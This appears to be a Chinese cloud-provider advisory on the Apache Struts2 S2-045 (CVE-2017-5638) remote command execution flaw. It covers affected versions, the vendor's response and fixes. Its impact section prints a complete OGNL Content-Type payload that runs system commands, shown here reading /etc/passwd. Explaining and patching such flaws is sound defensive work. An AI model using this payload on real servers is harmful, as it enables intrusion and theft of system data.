2017年3月6日,Apache Struts2被曝存在远程命令执行漏洞,漏洞编号:S2-045,CVE编号:CVE-2017-5638,官方评级为高危,该漏洞是由于在使用基于Jakarta插件的文件上传功能条件下,恶意用户可以通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行任意系统命令,导致系统被黑客入侵。

完成漏洞评级和确认影响范围后,阿里云安全应急团队迅速启动应急流程,对该漏洞进行成因分析,并迅速发布官方安全漏洞预警公告。

公告全文:https://help.aliyun.com/noticelist/articleid/20273580.html

联动响应 零安全事件

在流程启动启动的同时,阿里云云盾的各个产品联动响应,帮助用户应对Struts2漏洞。安骑士迅速完成云上ECS安全检测,态势感知用行为检测功能精准捕捉攻击源IP,Web应用防火墙在次日上午成功升级防护规则,帮助用户有效拦截利用该漏洞发起的攻击。

通过及时地检测、通知和规则升级,所有阿里云云盾用户均未因此漏洞发生安全事件。

漏洞分析

0x00 漏洞公告

根据官方的漏洞公告

https://cwiki.apache.org/confluence/display/WW/S2-045

可以看出漏洞的主要原因是出现在Content-Type

It is possible to perform aRCE attack with a malicious Content-Type value. If the Content-Type value isn'tvalid an exception is thrown which is then used to display an error message toa users.

通过http header中的Content-Type,注入OGNL语句来进行远程命令执行。

Struts2在对于异常的处理时出现了问题。

0x01 影响范围

受影响的版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

0x02 漏洞危害

  • 测试环境:tomcat7,Struts2.3.16
  • 测试过程:在上传页面拦截请求的数据包

在http header里增加一个Content-Type的key,value就是我们的poc

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat  /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

全球攻击分布态势

修复建议

  • 对于使用了基于Jakarta实现文件上传Multipart解析器,检测方式查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar ,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞,请升级到struts 2.3.32或2.5.10.1版本。
  • 使用其它方式实现文件上传的Multipart解析器。
  • 使用第三方的防护设备进行防护。
  • 删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)。
  • 阿里云云盾Web应用防火墙已经支持该漏洞防御,点击这里可查看介绍。

阿里云帮助云上用户应对Struts2高危漏洞相关推荐

  1. 灾难日:中国互联网惨遭Struts2高危漏洞摧残

    灾难日:中国互联网惨遭Struts2高危漏洞摧残 2013-07-18 11:25:37    41798 人阅读   作者: 萧萧 编辑:萧萧[ 爆料]   评论(13) Struts是Apache ...

  2. linux高危漏洞怎么处理,Struts2高危漏洞解决方案一览

    Apache Struts2作为世界上最流行的Java Web服务器框架之一,3月7日带来了本年度第一个高危漏洞--CVE编号CVE-2017-5638.其原因是由于Apache Struts2的Ja ...

  3. Struts2 最新高危漏洞详解

    由于计算机起源于美国,因此很多新兴技术和框架也都出于美国的一些大公司.虽然国内的BAT也在开源技术上有一些贡献,但目前来说还是比较缺少用户来支持.这也就导致了国内大部分互联网公司大量的依赖国外的技术. ...

  4. 阿里云ECS服务器CentOS7上用户管理操作

    阿里云ECS服务器CentOS7上用户管理操作 ---------------------------------------------- 使用root登录 # 查看系统中所有用户 [root@lo ...

  5. 混合云存储开启企业上云新路径--阿里云混合云备份容灾方案发布

    摘要:当前,数据已经成为了企业的核心资产.而如果数据中心发生故障不仅会给企业带来巨大损失,甚至会直接迫使企业走向倒闭.对于企业而言,每一字节业务数据的丢失都是一场重大的灾难!那么,如何保证企业的核心数 ...

  6. 混合云存储开启企业上云新路径--阿里云混合云备份容灾方案发布 1

    摘要: 当前,数据已经成为了企业的核心资产.而如果数据中心发生故障不仅会给企业带来巨大损失,甚至会直接迫使企业走向倒闭.对于企业而言,每一字节业务数据的丢失都是一场重大的灾难!那么,如何保证企业的核心 ...

  7. 友邦人寿引入阿里云PolarDB云数据库 支撑保险业务系统加速上云

    简介:友邦人寿日前加速重要业务系统上云进程,包括保险出单.保单契约等在内的数十套业务系统,开始采用阿里云PolarDB云原生数据库,通过全面替代传统商业数据库,进一步提升业务系统性能,为最终用户提供最 ...

  8. 一文读懂云上用户如何灵活应用定制化网络服务

    简介:在将传统数据中心业务迁移上云的过程中,如何将云下基于不同业务场景和设备角色灵活变化的网络配置基于云上网络统一服务能力进行转换,用户及其业务架构通常会面临诸多的挑战.阿里云混合云网络技术团队和阿里 ...

  9. 一文读懂 - 云上用户如何灵活应用定制化网络服务

    简介: 在将传统数据中心业务迁移上云的过程中,如何将云下基于不同业务场景和设备角色灵活变化的网络配置基于云上网络统一服务能力进行转换,用户及其业务架构通常会面临诸多的挑战.阿里云混合云网络技术团队和阿 ...

最新文章

  1. Ditto剪贴板增强工具 ,方便复制粘贴多条历史记录
  2. 丢失MySQL root 密码?
  3. Perl 第三章 操作符
  4. NUS 联合 Sea AI Lab 发表 Multi-view Pose Transformer,完全端到端学习,超强可扩展性...
  5. 【实践】通过Composer,安装yii2-advanced
  6. 详解float**类型和float*类型
  7. python爬虫什么意思-python的爬虫是什么意思
  8. 一、配置etcd数据库
  9. 阿里云和域名怎么备案?
  10. php v8js 执行外部js,php运行jsv8引擎
  11. win用户计算机批量添加用户,win10系统巧用cmd命令快速创建新账户的技巧
  12. 安卓进阶之android系统架构
  13. 拼多多面试官没想到ThreadLocal我用得这么溜,人直接傻掉
  14. 使用Frida hook 获取native层代码的返回值
  15. 目前巨型计算机应用最主要的领域是,A.10%-15%.
  16. 算命大师元真先生解读周易人生命运
  17. 毕业设计 stm32智能运动计步器 - 物联网 嵌入式 单片机
  18. 知识图谱技术学习笔记
  19. 一行代码引发的集群服务宕掉的血案分析
  20. uva 1471 Defense Lines (降低复杂度)

热门文章

  1. 专业Netflix视频下载器NoteBurner Netflix Video Downloader Mac
  2. Java Set集合详解
  3. 排他锁(EXclusive Lock)
  4. Vue项目中使用proxyTable配置代理失效的解决办法
  5. C++ 类成员函数指针数组应用(一)
  6. php ssd性能影响,影响SSD固态硬盘性能的几个因素
  7. Android Launcher界面未接来电和未读短信条数的显示
  8. try - catch语句的用法
  9. 我们真的缺前端工程师吗
  10. Linux下压缩文件夹命令